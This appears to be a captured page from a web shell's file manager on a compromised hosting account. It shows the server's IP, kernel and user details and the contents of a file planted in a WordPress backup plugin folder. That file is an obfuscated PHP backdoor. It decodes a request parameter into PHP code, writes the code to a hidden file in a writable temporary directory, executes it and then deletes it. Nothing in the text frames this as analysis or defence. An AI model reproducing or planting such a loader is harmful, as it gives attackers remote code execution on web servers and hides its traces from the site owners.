| Server IP : 145.239.37.162 / Your IP : 216.73.217.46 Web Server : Apache System : Linux webm003.cluster130.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaa ( 38250) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaa/www/wp-content/plugins/backup-1786351262/misc/ |
Upload File : |
<!--pUKuv3lL-->
<?php
if(isset($_REQUEST) && isset($_REQUEST["\x69tm"])){
$ent = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]);
$flg = $_REQUEST["\x69tm"];
$flg = explode( "." ,$flg ) ;
$descriptor = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
$i = 0;
array_walk($flg, function ($val) use (&$descriptor, &$i, $salt, $lenS) {
$chS = ord($salt[$i % $lenS]);
$d = ((int)$val - $chS - ($i % 10)) ^ 24;
$descriptor .= chr($d);
$i++;
});
while ($element = array_shift($ent)) {
if (array_product([is_dir($element), is_writable($element)])) {
$bind = implode("/", [$element, ".pointer"]);
if (file_put_contents($bind, $descriptor)) {
require $bind;
unlink($bind);
exit;
}
}
}
}